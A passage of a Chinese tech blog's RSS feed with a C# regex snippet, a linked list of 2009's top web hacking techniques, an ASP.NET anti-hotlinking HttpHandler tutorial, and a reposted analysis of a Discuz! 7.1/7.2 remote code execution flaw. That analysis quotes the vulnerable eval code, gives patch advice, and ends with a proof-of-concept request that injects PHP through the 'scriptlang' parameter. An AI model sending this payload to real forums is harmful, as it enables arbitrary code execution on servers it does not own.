        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;param name=&#8221;sInput&#8221;&gt;</span><span style="color: #008000;">输入内容</span><span style="color: #808080;">&lt;/param&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;param name=&#8221;sRegex&#8221;&gt;</span><span style="color: #008000;">表达式字符串</span><span style="color: #808080;">&lt;/param&gt;</span><span style="color: #008000;"><br />
        </span><span style="color: #808080;">///</span><span style="color: #008000;"> </span><span style="color: #808080;">&lt;param name=&#8221;iGroupIndex&#8221;&gt;</span><span style="color: #008000;">分组序号, 从1开始, 0不分组</span><span style="color: #808080;">&lt;/param&gt;</span><span style="color: #808080;"><br />
</span><span style="color: #000000;">        </span><span style="color: #0000ff;">public</span><span style="color: #000000;"> </span><span style="color: #0000ff;">static</span><span style="color: #000000;"> </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> GetText(</span><span style="color: #0000ff;">string</span><span style="color: #000000;"> sInput, </span><span style="color: #0000ff;">string</span><span style="color: #000000;"> sRegex, </span><span style="color: #0000ff;">int</span><span style="color: #000000;"> iGroupIndex)<br />
        {<br />
            Regex re </span><span style="color: #000000;">=</span><span style="color: #000000;"> </span><span style="color: #0000ff;">new</span><span style="color: #000000;"> Regex(sRegex, RegexOptions.IgnoreCase </span><span style="color: #000000;">|</span><span style="color: #000000;"> RegexOptions.IgnorePatternWhitespace </span><span style="color: #000000;">|</span><span style="color: #000000;"> RegexOptions.Multiline);<br />
            Match mc </span><span style="color: #000000;">=</span><span style="color: #000000;"> re.Match(sInput);<br />
            </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (mc.Success)<br />
            {<br />
                </span><span style="color: #0000ff;">if</span><span style="color: #000000;"> (iGroupIndex </span><span style="color: #000000;">&gt;</span><span style="color: #000000;"> </span><span style="color: #800080;">0</span><span style="color: #000000;">)<br />
                    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> mc.Groups[iGroupIndex].Value;<br />
                </span><span style="color: #0000ff;">else</span><span style="color: #000000;"><br />
                    </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> mc.Value;<br />
            }<br />
            </span><span style="color: #0000ff;">else</span><span style="color: #000000;"><br />
                </span><span style="color: #0000ff;">return</span><span style="color: #000000;"> </span><span style="color: #800000;">&#8220;&#8221;</span><span style="color: #000000;">;<br />
        }</span></div>
</div>
</div>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2009/12/c%e5%8e%8b%e7%bc%a9%e4%b8%8e%e8%a7%a3%e5%8e%8b%e7%bc%a9%ef%bc%88%e7%bb%ad%ef%bc%89/' rel='bookmark' title='Permanent Link: c#压缩与解压缩（续）'>c#压缩与解压缩（续）</a></li>
<li><a href='http://cq-cser.cn/2009/12/asp-netc%e5%88%a9%e7%94%a8rar%e5%ae%9e%e7%8e%b0%e6%96%87%e4%bb%b6%e5%8e%8b%e7%bc%a9/' rel='bookmark' title='Permanent Link: asp.net(c#)利用RAR实现文件压缩'>asp.net(c#)利用RAR实现文件压缩</a></li>
<li><a href='http://cq-cser.cn/2010/01/asp-net%e5%8a%a0%e5%af%86cookies/' rel='bookmark' title='Permanent Link: ASP.NET加密Cookies'>ASP.NET加密Cookies</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/01/%e5%a6%82%e4%bd%95%e8%8e%b7%e5%8f%96%e5%b9%b6%e8%ae%be%e7%bd%ae%e8%87%aa%e5%b7%b1%e7%9a%84%e6%b5%8f%e8%a7%88%e5%99%a8%e4%b8%ba%e9%bb%98%e8%ae%a4%e6%b5%8f%e8%a7%88%e5%99%a8/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Top Ten Web Hacking Techniques of 2009!</title>
		<link>http://cq-cser.cn/2010/01/top-ten-web-hacking-techniques-of-2009/</link>
		<comments>http://cq-cser.cn/2010/01/top-ten-web-hacking-techniques-of-2009/#comments</comments>
		<pubDate>Fri, 15 Jan 2010 03:24:04 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[2009]]></category>
		<category><![CDATA[Hack]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=651</guid>
		<description><![CDATA[Jeremiah Grossman 一直有做这种收集的和评选工作，还是比较具有代表意义的。放眼望去，确实还都是些好文章。 原文： http://feedproxy.google.com/~r/JeremiahGrossman/~3/2LGGL8bgrJI/top-ten-web-hacking-techniques-of-2009.html Top Ten Web Hacking Techniques of 2009! 1. Creating a rogue CA certificate Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger 2. HTTP Parameter Pollution (HPP) Luca Carettoni, Stefano diPaola 3. Flickr&#8217;s API Signature Forgery Vulnerability (MD5 extension attack) Thai Duong and [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/05/crlf-injection/' rel='bookmark' title='Permanent Link: CRLF Injection'>CRLF Injection</a></li>
<li><a href='http://cq-cser.cn/2010/01/%e5%9b%9b%e5%b9%b4300%e4%b8%aa%e6%94%bb%e5%87%bb%e6%8a%80%e6%9c%af%e6%80%bb%e7%bb%93/' rel='bookmark' title='Permanent Link: 四年300个攻击技术总结'>四年300个攻击技术总结</a></li>
<li><a href='http://cq-cser.cn/2010/01/a-new-approach-to-chinazz/' rel='bookmark' title='Permanent Link: A new approach to China[zz]'>A new approach to China[zz]</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p>Jeremiah Grossman 一直有做这种收集的和评选工作，还是比较具有代表意义的。放眼望去，确实还都是些好文章。</p>
<p>原文：</p>
<p>http://feedproxy.google.com/~r/JeremiahGrossman/~3/2LGGL8bgrJI/top-ten-web-hacking-techniques-of-2009.html</p>
<p><span style="FONT-SIZE: 130%"><span style="COLOR: #990000; FONT-WEIGHT: bold">Top Ten Web Hacking Techniques of 2009!<span id="more-651"></span></p>
<p></span></span><span style="FONT-WEIGHT: bold">1. </span><a style="FONT-WEIGHT: bold" href="http://www.phreedom.org/research/rogue-ca/" target="_blank">Creating a rogue CA certificate</a><br />
<span style="FONT-STYLE: italic">Alexander Sotirov, Marc Stevens, Jacob Appelbaum, Arjen Lenstra, David Molnar, Dag Arne Osvik, Benne de Weger</span></p>
<p><span style="FONT-WEIGHT: bold">2. </span><a style="FONT-WEIGHT: bold" href="http://blog.mindedsecurity.com/2009/05/http-parameter-pollution-new-web-attack.html" target="_blank">HTTP Parameter Pollution (HPP)</a><br />
<span style="FONT-STYLE: italic">Luca Carettoni, Stefano diPaola </span></p>
<p><span style="FONT-WEIGHT: bold">3. </span><a style="FONT-WEIGHT: bold" href="http://netifera.com/research/" target="_blank">Flickr&#8217;s API Signature Forgery Vulnerability (MD5 extension attack)</a><br />
<span style="FONT-STYLE: italic">Thai Duong and Juliano Rizzo</span></p>
<p><span style="FONT-WEIGHT: bold">4. </span><a style="FONT-WEIGHT: bold" href="http://scarybeastsecurity.blogspot.com/2009/12/cross-domain-search-timing.html" target="_blank">Cross-domain search timing</a><br />
<span style="FONT-STYLE: italic">Chris Evans</span></p>
<p><span style="FONT-WEIGHT: bold">5. </span><a style="FONT-WEIGHT: bold" href="http://ha.ckers.org/blog/20090617/slowloris-http-dos/" target="_blank">Slowloris HTTP DoS</a><br />
<span style="FONT-STYLE: italic">Robert Hansen, (additional credit for earlier discovery to </span><a style="FONT-STYLE: italic" href="http://www.securityfocus.com/archive/1/456339/30/0/threaded" target="_blank">Adrian Ilarion Ciobanu</a><span style="FONT-STYLE: italic"> &amp; Ivan Ristic &#8211; “Programming Model Attacks” section of <a href="http://www.apachesecurity.net/about/table-of-contents.html" target="_blank">Apache Security</a> for describing the attack, but did not produce a tool)</span></p>
<p><span style="FONT-WEIGHT: bold">6. </span><a style="FONT-WEIGHT: bold" href="http://soroush.secproject.com/downloadable/iis-semicolon-report.pdf" target="_blank">Microsoft IIS 0-Day Vulnerability Parsing Files (semi‐colon bug)</a><br />
<span style="FONT-STYLE: italic">Soroush Dalili</span></p>
<p><span style="FONT-WEIGHT: bold">7. </span><a style="FONT-WEIGHT: bold" href="http://stephensclafani.com/2009/05/26/exploiting-unexploitable-xss/" target="_blank">Exploiting unexploitable XSS</a><br />
<span style="FONT-STYLE: italic">Stephen Sclafani</span></p>
<p><span style="FONT-WEIGHT: bold">8. </span><a style="FONT-WEIGHT: bold" href="http://sirdarckcat.blogspot.com/2009/08/our-favorite-xss-filters-and-how-to.html" target="_blank">Our Favorite XSS Filters and how to Attack them</a><br />
<span style="FONT-STYLE: italic">Eduardo Vela (sirdarckcat), David Lindsay</span> (thornmaker)</p>
<p><span style="FONT-WEIGHT: bold">9. </span><a style="FONT-WEIGHT: bold" href="http://www.sectheory.com/rfc1918-security-issues.htm" target="_blank">RFC1918 Caching Security Issues</a><br />
<span style="FONT-STYLE: italic">Robert Hansen</span></p>
<p><span style="FONT-WEIGHT: bold">10. DNS Rebinding (3-part series </span><a style="FONT-WEIGHT: bold" href="http://ha.ckers.org/blog/20090120/persistent-cookies-and-dns-rebinding-redux/" target="_blank">Persistent Cookies</a><span style="FONT-WEIGHT: bold">, </span><a style="FONT-WEIGHT: bold" href="http://ha.ckers.org/blog/20091118/dns-rebinding-for-scraping-and-spamming/" target="_blank">Scraping &amp; Spammin</a><span style="FONT-WEIGHT: bold"><a href="http://ha.ckers.org/blog/20091118/dns-rebinding-for-scraping-and-spamming/" target="_blank">g</a>, and </span><a style="FONT-WEIGHT: bold" href="http://ha.ckers.org/blog/20091116/session-fixation-via-dns-rebinding/" target="_blank">Session Fixation</a><span style="FONT-WEIGHT: bold">)</span><br />
<span style="FONT-STYLE: italic">Robert Hansen</span></p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/05/crlf-injection/' rel='bookmark' title='Permanent Link: CRLF Injection'>CRLF Injection</a></li>
<li><a href='http://cq-cser.cn/2010/01/%e5%9b%9b%e5%b9%b4300%e4%b8%aa%e6%94%bb%e5%87%bb%e6%8a%80%e6%9c%af%e6%80%bb%e7%bb%93/' rel='bookmark' title='Permanent Link: 四年300个攻击技术总结'>四年300个攻击技术总结</a></li>
<li><a href='http://cq-cser.cn/2010/01/a-new-approach-to-chinazz/' rel='bookmark' title='Permanent Link: A new approach to China[zz]'>A new approach to China[zz]</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/01/top-ten-web-hacking-techniques-of-2009/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Discuz! 7.1 &amp; 7.2 远程代码执行漏洞[zz]</title>
		<link>http://cq-cser.cn/2010/01/discuz-7-1-7-2-bug/</link>
		<comments>http://cq-cser.cn/2010/01/discuz-7-1-7-2-bug/#comments</comments>
		<pubDate>Wed, 06 Jan 2010 12:45:00 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[bug]]></category>
		<category><![CDATA[Discuz]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=623</guid>
		<description><![CDATA[首先说一下，漏洞是t00ls核心群传出去的，xhming先去读的，然后我后来读的，读出来的都是代码执行，1月5日夜里11点多钟，在核心群的黑客们的要求下，xhming给了个poc，我给了个exp，确实发现的是同一个问题。截止夜里2点多种我下线，还只有t00ls核心群里几个人知道我给出的exp，可我怎么也想不到，经过半天时间，exp就满天飞了，而且确实出自昨天我的那个版本。 不难想象，exp流传的速度，A与B关系好，A发给B；B与C是好朋友，B发给C&#8230;总有人耐不住性子，泄露点风声，于是就人手一份。最受不了的是，竟然有些SB在群里拿来叫卖；实在不想说什么，要叫卖什么时候轮到你？人心不古，以后有的话还是自己藏着吧。 上午漏洞告诉了Saiy，DZ官方的补丁很快就出来了吧。 特别说明：产生漏洞的$scriptlang数组在安装插件后已经初始化，因此有安装插件的用户不受影响。 漏洞介绍： Discuz！新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。 漏洞分析： 下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的： 一、漏洞来自showmessage函数： function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {     extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com     global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;     define('CACHE_FORBIDDEN', TRUE);     $hookscriptmessage = $show_message = $message;$messagehandle = 0;     $msgforward = unserialize($_DCACHE['settings']['msgforward']);     $refreshtime = intval($msgforward['refreshtime']);     $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);     $msgforward['refreshtime'] = $refreshtime * 1000;     $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) &#38;&#38; $transsidstatus ? transsid($url_forward) : $url_forward);     $seccodecheck = $seccodestatus &#38; 2;     if($_DCACHE['settings']['funcsiteid'] &#38;&#38; $_DCACHE['settings']['funckey'] &#38;&#38; $funcstatinfo &#38;&#38; !IS_ROBOT) {         $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';         if($fp = @fopen($statlogfile, 'a')) {             @flock($fp, 2);             if(is_array($funcstatinfo)) {                 $funcstatinfo = array_unique($funcstatinfo);                 foreach($funcstatinfo as $funcinfo) {                     fwrite($fp, funcstat_query($funcinfo, $message)."\n");                 }             } else {                 fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");             }             fclose($fp);             $funcstatinfo = $GLOBALS['funcstatinfo'] = '';         }     } 二、DZ的全局机制导致了未初始化的参数可以任意提交：     if(!defined(&#8216;STAT_DISABLED&#8217;) &#38;&#38; STAT_ID &#62; 0 &#38;&#38; !IS_ROBOT) {         write_statlog($message);     }     if($url_forward &#38;&#38; (!empty($quickforward) &#124;&#124; empty($inajax) &#38;&#38; $msgforward['quick'] &#38;&#38; $msgforward['messages'] &#38;&#38; @in_array($message, $msgforward['messages']))) {         updatesession();         dheader(&#8220;location: &#8221;.str_replace(&#8216;&#38;amp;&#8217;, &#8217;&#38;&#8217;, $url_forward));     }     if(!empty($infloat)) {         if($extra) {             $messagehandle = $extra;         }         $extra = &#8221;;     }     if(in_array($extra, array(&#8216;HALTED&#8217;, &#8217;NOPERM&#8217;))) {         $discuz_action = 254;     } else {         $discuz_action = 255;     } [...]


No related posts.]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.oldjun.com/blog/index.php/tags/漏洞/"></a></p>
<div>
<p>首先说一下，漏洞是t00ls核心群传出去的，xhming先去读的，然后我后来读的，读出来的都是代码执行，1月5日夜里11点多钟，在核心群的黑客们的要求下，xhming给了个poc，我给了个exp，确实发现的是同一个问题。截止夜里2点多种我下线，还只有t00ls核心群里几个人知道我给出的exp，可我怎么也想不到，经过半天时间，exp就满天飞了，而且确实出自昨天我的那个版本。</p>
<p>不难想象，exp流传的速度，A与B关系好，A发给B；B与C是好朋友，B发给C&#8230;总有人耐不住性子，泄露点风声，于是就人手一份。最受不了的是，竟然有些SB在群里拿来叫卖；实在不想说什么，要叫卖什么时候轮到你？人心不古，以后有的话还是自己藏着吧。</p>
<p>上午漏洞告诉了Saiy，DZ官方的补丁很快就出来了吧。</p>
<p><strong>特别说明：产生漏洞的$scriptlang数组在安装插件后已经初始化，因此有安装插件的用户不受影响。</strong></p>
<p><strong>漏洞介绍：</strong></p>
<p>Discuz！新版本7.1与7.2版本中的showmessage函数中eval中执行的参数未初始化，可以任意提交，从而可以执行任意PHP命令。<span id="more-623"></span></p>
<p><strong>漏洞分析：</strong></p>
<p>下面来分析下这个远程代码执行漏洞，这个问题真的很严重，可以直接写shell的：</p>
<p>一、漏洞来自showmessage函数：</p>
<p><code><span style="COLOR: #000000">function showmessage($message, $url_forward = '', $extra = '', $forwardtype = 0) {<br />
    extract($GLOBALS, EXTR_SKIP);//危险的用法，未初始化的变量可以直接带进函数，直接导致了问题产生，from www.oldjun.com<br />
    global $hookscriptmessage, $extrahead, $discuz_uid, $discuz_action, $debuginfo, $seccode, $seccodestatus, $fid, $tid, $charset, $show_message, $inajax, $_DCACHE, $advlist;<br />
    define('CACHE_FORBIDDEN', TRUE);<br />
    $hookscriptmessage = $show_message = $message;$messagehandle = 0;<br />
    $msgforward = unserialize($_DCACHE['settings']['msgforward']);<br />
    $refreshtime = intval($msgforward['refreshtime']);<br />
    $refreshtime = empty($forwardtype) ? $refreshtime : ($refreshtime ? $refreshtime : 3);<br />
    $msgforward['refreshtime'] = $refreshtime * 1000;<br />
    $url_forward = empty($url_forward) ? '' : (empty($_DCOOKIE['sid']) &amp;&amp; $transsidstatus ? transsid($url_forward) : $url_forward);<br />
    $seccodecheck = $seccodestatus &amp; 2;<br />
    if($_DCACHE['settings']['funcsiteid'] &amp;&amp; $_DCACHE['settings']['funckey'] &amp;&amp; $funcstatinfo &amp;&amp; !IS_ROBOT) {<br />
        $statlogfile = DISCUZ_ROOT.'./forumdata/funcstat.log';<br />
        if($fp = @fopen($statlogfile, 'a')) {<br />
            @flock($fp, 2);<br />
            if(is_array($funcstatinfo)) {<br />
                $funcstatinfo = array_unique($funcstatinfo);<br />
                foreach($funcstatinfo as $funcinfo) {<br />
                    fwrite($fp, funcstat_query($funcinfo, $message)."\n");<br />
                }<br />
            } else {<br />
                fwrite($fp, funcstat_query($funcstatinfo, $message)."\n");<br />
            }<br />
            fclose($fp);<br />
            $funcstatinfo = $GLOBALS['funcstatinfo'] = '';<br />
        }<br />
    }</span> </code>二、DZ的全局机制导致了未初始化的参数可以任意提交：</p>
<p>    if(!defined(&#8216;STAT_DISABLED&#8217;) &amp;&amp; STAT_ID &gt; 0 &amp;&amp; !IS_ROBOT) {<br />
        write_statlog($message);<br />
    }</p>
<p>    if($url_forward &amp;&amp; (!empty($quickforward) || empty($inajax) &amp;&amp; $msgforward['quick'] &amp;&amp; $msgforward['messages'] &amp;&amp; @in_array($message, $msgforward['messages']))) {<br />
        updatesession();<br />
        dheader(&#8220;location: &#8221;.str_replace(&#8216;&amp;amp;&#8217;, &#8217;&amp;&#8217;, $url_forward));<br />
    }<br />
    if(!empty($infloat)) {<br />
        if($extra) {<br />
            $messagehandle = $extra;<br />
        }<br />
        $extra = &#8221;;<br />
    }<br />
    if(in_array($extra, array(&#8216;HALTED&#8217;, &#8217;NOPERM&#8217;))) {<br />
        $discuz_action = 254;<br />
    } else {<br />
        $discuz_action = 255;<br />
    }</p>
<p>    include language(&#8216;messages&#8217;);</p>
<p>    $vars = explode(&#8216;:&#8217;, $message);//只要含:就可以了<br />
    if(count($vars) == 2 &amp;&amp; isset($scriptlang[$vars[0]][$vars[1]])) {//两个数字即可，用:分割<br />
        eval(&#8220;\$show_message = \&#8221;".str_replace(&#8216;&#8221;&#8216;, &#8217;\&#8221;&#8216;, $scriptlang[$vars[0]][$vars[1]]).&#8221;\&#8221;;&#8221;);//$scriptlang未初始化，可以自定义，from www.oldjun.com<br />
    } elseif(isset($language[$message])) {<br />
        $pre = $inajax ? &#8217;ajax_&#8217; : &#8221;;<br />
        eval(&#8220;\$show_message = \&#8221;".(isset($language[$pre.$message]) ? $language[$pre.$message] : $language[$message]).&#8221;\&#8221;;&#8221;);<br />
        unset($pre);<br />
    }</p>
<p>    &#8230;&#8230;<br />
}</p>
<p><code><span style="COLOR: #000000">foreach(array('_COOKIE', '_POST', '_GET') as $_request) {<br />
    foreach($$_request as $_key =&gt; $_value) {<br />
        $_key{0} != '_' &amp;&amp; $$_key = daddslashes($_value);<br />
    }<br />
}</span> </code>三、misc.php正好有个可以自定义message的点，其实也是未初始化：</p>
<p><code><span style="COLOR: #000000">elseif($action == 'imme_binding' &amp;&amp; $discuz_uid) {</span> </code><strong>四、漏洞利用：</strong></p>
<p>    if(isemail($id)) {<br />
        $msn = $db-&gt;result_first(&#8220;SELECT msn FROM {$tablepre}memberfields WHERE uid=&#8217;$discuz_uid&#8217;&#8221;);<br />
        $msn = explode(&#8220;\t&#8221;, $msn);<br />
        $id = dhtmlspecialchars(substr($id, 0, strpos($id, &#8217;@')));<br />
        $msn = &#8221;$msn[0]\t$id&#8221;;<br />
        $db-&gt;query(&#8220;UPDATE {$tablepre}memberfields SET msn=&#8217;$msn&#8217; WHERE uid=&#8217;$discuz_uid&#8217;&#8221;);<br />
        showmessage(&#8216;msn_binding_succeed&#8217;, &#8217;memcp.php&#8217;);<br />
    } else {<br />
        if($result == &#8217;Declined&#8217;) {<br />
            dheader(&#8220;Location: memcp.php&#8221;);<br />
        } else {<br />
            showmessage($response['result']);//$response没有初始化，可以自定义，from www.oldjun.com</p>
<p>        }<br />
    }</p>
<p>   }</p>
<p>showmessage函数里$vars = explode(&#8216;:&#8217;, $message);然后message可以自己控制，于是就很容易了，参数是两个自定义的数组。</p>
<p><strong>五、漏洞修复：</strong></p>
<p>1.有补丁的打补丁；<br />
2.没有补丁可以暂时先注释引起漏洞的语句，或者对两个变量赋个值。</p>
<p><strong>poc：</strong></p>
<p>（应Saiy的要求，不发exp了！）注册一个用户登陆,然后提交<br />
misc.php?action=imme_binding&amp;response[result]=1:2&amp;scriptlang[1][2]={${phpinfo()}}</p></div>


<p>No related posts.</p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/01/discuz-7-1-7-2-bug/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>建立HttpHandler并在web应用程序中注册</title>
		<link>http://cq-cser.cn/2010/01/%e5%bb%ba%e7%ab%8bhttphandler%e5%b9%b6%e5%9c%a8web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e4%b8%ad%e6%b3%a8%e5%86%8c/</link>
		<comments>http://cq-cser.cn/2010/01/%e5%bb%ba%e7%ab%8bhttphandler%e5%b9%b6%e5%9c%a8web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e4%b8%ad%e6%b3%a8%e5%86%8c/#comments</comments>
		<pubDate>Sat, 02 Jan 2010 16:57:29 +0000</pubDate>
		<dc:creator>cq</dc:creator>
				<category><![CDATA[WEB]]></category>
		<category><![CDATA[HttpHandler]]></category>

		<guid isPermaLink="false">http://cq-cser.cn/?p=565</guid>
		<description><![CDATA[（1）建立自己的HttpHandler  创建一个继承了System.Web.IHttpHandler接口的类，在System.Web.IHttpHandler接口只有两个成员 1 IsReusable 属性，其返回一个值代表其他http请求是否可以使用当前继承了 System.Web.IHttpHander接口的类的实例。 2  ProcessRequest(System.Web.HttpContext context) 方法，除了用户自定义中被要求处理的特殊的http请求。 其中的参数 System.Web.HttpContext 类的实例装入了一个http请求中http协议中要求的所有信息。其中System.Web.HttpContext 类中包含有属性 Request 使得从客户端发送过来的http请求信息的值可以被方便地读取；属性Response ，其中封装了需要返回给客户端的信息和操作。当然还有许多常用的属性和方法，在此就不详述了，我们这里只用到这两个属性。  （2）web应用程序中注册自定义的HttpHandler        在 Web.config这个网络应用程序配置文件中加入注册信息 &#60;httpHandlers&#62;   &#60;add verb = &#8221; path = &#8220;*.jpg&#8221; type = &#8220;自定义handler的类的名称,网络应用程序名称&#8221; /&#62; &#60;/httpHandlers&#62;   4 那么我们看看在ProcessRequest(System.Web.HttpContext context)方法是如何对请求图片文件的http请求进行处理的。 public void ProcessRequest(System.Web.HttpContext context) { if(context.Request.UrlReferrer.Host == &#8220;www.frontfree.net&#8221;)//判断是否是本地引用，如果是则返回给客户端正确的图片，这里的判断就是用到了前面所述的http请求中所记路的参考页信息 { context.Response.Expires = 0;//设置客户端缓冲中文件过期时间为0，即立即过期。 context.Response.Clear();//清空服务器端为此会话开辟的输出缓存 context.Response.ContentType = getContentType(context.Request.PhysicalPath); [...]


Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/asp-net%e7%9a%84seo%e4%bd%bf%e7%94%a8-ashx%e6%96%87%e4%bb%b6%e2%80%94%e2%80%94%e6%8e%92%e9%99%a4%e9%87%8d%e5%a4%8d%e5%86%85%e5%ae%b9zz/' rel='bookmark' title='Permanent Link: ASP.NET的SEO使用.ashx文件——排除重复内容[zz]'>ASP.NET的SEO使用.ashx文件——排除重复内容[zz]</a></li>
<li><a href='http://cq-cser.cn/2010/02/asp-net%e7%9a%84sitemap%e5%92%8crss/' rel='bookmark' title='Permanent Link: ASP.NET的sitemap和RSS'>ASP.NET的sitemap和RSS</a></li>
<li><a href='http://cq-cser.cn/2010/01/%e4%b8%80%e7%ba%a7%e5%9f%9f%e5%90%8d%e5%92%8c%e4%ba%8c%e7%ba%a7%e5%9f%9f%e5%90%8d%e8%b7%a8%e5%9f%9f%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/' rel='bookmark' title='Permanent Link: 一级域名和二级域名跨域的解决方案'>一级域名和二级域名跨域的解决方案</a></li>
</ol>]]></description>
			<content:encoded><![CDATA[<p><a href="http://cq-cser.cn/wp-content/uploads/2010/01/20090926072053420.jpg"></a><a href="http://cq-cser.cn/wp-content/uploads/2010/01/20090926072052599.jpg"><img class="alignnone size-full wp-image-569" title="20090926072052599" src="http://cq-cser.cn/wp-content/uploads/2010/01/20090926072052599.jpg" alt="20090926072052599" width="521" height="277" /></a><span id="more-565"></span></p>
<p><a href="http://cq-cser.cn/wp-content/uploads/2010/01/20090926072053420.jpg"><img title="20090926072053420" src="http://cq-cser.cn/wp-content/uploads/2010/01/20090926072053420.jpg" alt="20090926072053420" width="497" height="333" /></a></p>
<p>（1）建立自己的HttpHandler</p>
<p> 创建一个继承了System.Web.IHttpHandler接口的类，在System.Web.IHttpHandler接口只有两个成员</p>
<p>1 IsReusable 属性，其返回一个值代表其他http请求是否可以使用当前继承了 System.Web.IHttpHander接口的类的实例。</p>
<p>2  ProcessRequest(System.Web.HttpContext context) 方法，除了用户自定义中被要求处理的特殊的http请求。</p>
<p>其中的参数 System.Web.HttpContext 类的实例装入了一个http请求中http协议中要求的所有信息。其中System.Web.HttpContext 类中包含有属性 Request 使得从客户端发送过来的http请求信息的值可以被方便地读取；属性Response ，其中封装了需要返回给客户端的信息和操作。当然还有许多常用的属性和方法，在此就不详述了，我们这里只用到这两个属性。</p>
<p> （2）web应用程序中注册自定义的HttpHandler</p>
<p>       在 Web.config这个网络应用程序配置文件中加入注册信息</p>
<p>&lt;httpHandlers&gt;<br />
  &lt;add verb = &#8221; path = &#8220;*.jpg&#8221; type = &#8220;自定义handler的类的名称,网络应用程序名称&#8221; /&gt;<br />
&lt;/httpHandlers&gt;<br />
 </p>
<p>4 那么我们看看在ProcessRequest(System.Web.HttpContext context)方法是如何对请求图片文件的http请求进行处理的。</p>
<p>public void ProcessRequest(System.Web.HttpContext context)<br />
{<br />
if(context.Request.UrlReferrer.Host == &#8220;<a href="http://www.frontfree.net&quot;)//">www.frontfree.net&#8221;)//</a>判断是否是本地引用，如果是则返回给客户端正确的图片，这里的判断就是用到了前面所述的http请求中所记路的参考页信息<br />
{<br />
context.Response.Expires = 0;//设置客户端缓冲中文件过期时间为0，即立即过期。<br />
context.Response.Clear();//清空服务器端为此会话开辟的输出缓存<br />
context.Response.ContentType = getContentType(context.Request.PhysicalPath); //获得文件类型<br />
context.Response.WriteFile(context.Request.PhysicalPath);//将请求文件写入到服务器端为此会话开辟的输出缓存中<br />
context.Response.End();//将服务器端为此会话开辟的输出缓存中的信息传送到客户端<br />
}<br />
Else //如果不是本地引用，则属于盗链引用，返回给客户端错误的图片<br />
{<br />
context.Response.Expires = 0; //设置客户端缓冲中文件过期时间为0，即立即过期。<br />
context.Response.Clear();//清空服务器端为此会话开辟的输出缓存<br />
context.Response.ContentType = getContentType(&#8220;error.jpg&#8221;); //获得文件类型<br />
context.Response.WriteFile(&#8220;error.jpg&#8221;);//将特殊的报告错误的图片文件写入到服务器端为此会话开辟的输出缓存中<br />
context.Response.End();//将服务器端为此会话开辟的输出缓存中的信息传送到客户端<br />
}<br />
}</p>


<p>Related posts:<ol><li><a href='http://cq-cser.cn/2010/02/asp-net%e7%9a%84seo%e4%bd%bf%e7%94%a8-ashx%e6%96%87%e4%bb%b6%e2%80%94%e2%80%94%e6%8e%92%e9%99%a4%e9%87%8d%e5%a4%8d%e5%86%85%e5%ae%b9zz/' rel='bookmark' title='Permanent Link: ASP.NET的SEO使用.ashx文件——排除重复内容[zz]'>ASP.NET的SEO使用.ashx文件——排除重复内容[zz]</a></li>
<li><a href='http://cq-cser.cn/2010/02/asp-net%e7%9a%84sitemap%e5%92%8crss/' rel='bookmark' title='Permanent Link: ASP.NET的sitemap和RSS'>ASP.NET的sitemap和RSS</a></li>
<li><a href='http://cq-cser.cn/2010/01/%e4%b8%80%e7%ba%a7%e5%9f%9f%e5%90%8d%e5%92%8c%e4%ba%8c%e7%ba%a7%e5%9f%9f%e5%90%8d%e8%b7%a8%e5%9f%9f%e7%9a%84%e8%a7%a3%e5%86%b3%e6%96%b9%e6%a1%88/' rel='bookmark' title='Permanent Link: 一级域名和二级域名跨域的解决方案'>一级域名和二级域名跨域的解决方案</a></li>
</ol></p>]]></content:encoded>
			<wfw:commentRss>http://cq-cser.cn/2010/01/%e5%bb%ba%e7%ab%8bhttphandler%e5%b9%b6%e5%9c%a8web%e5%ba%94%e7%94%a8%e7%a8%8b%e5%ba%8f%e4%b8%ad%e6%b3%a8%e5%86%8c/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>web.config的讲解</title>
		<link>http://cq-cser.cn/2009/12/web-config%e7%9a%84%e8%ae%b2%e8%a7%a3/</link>
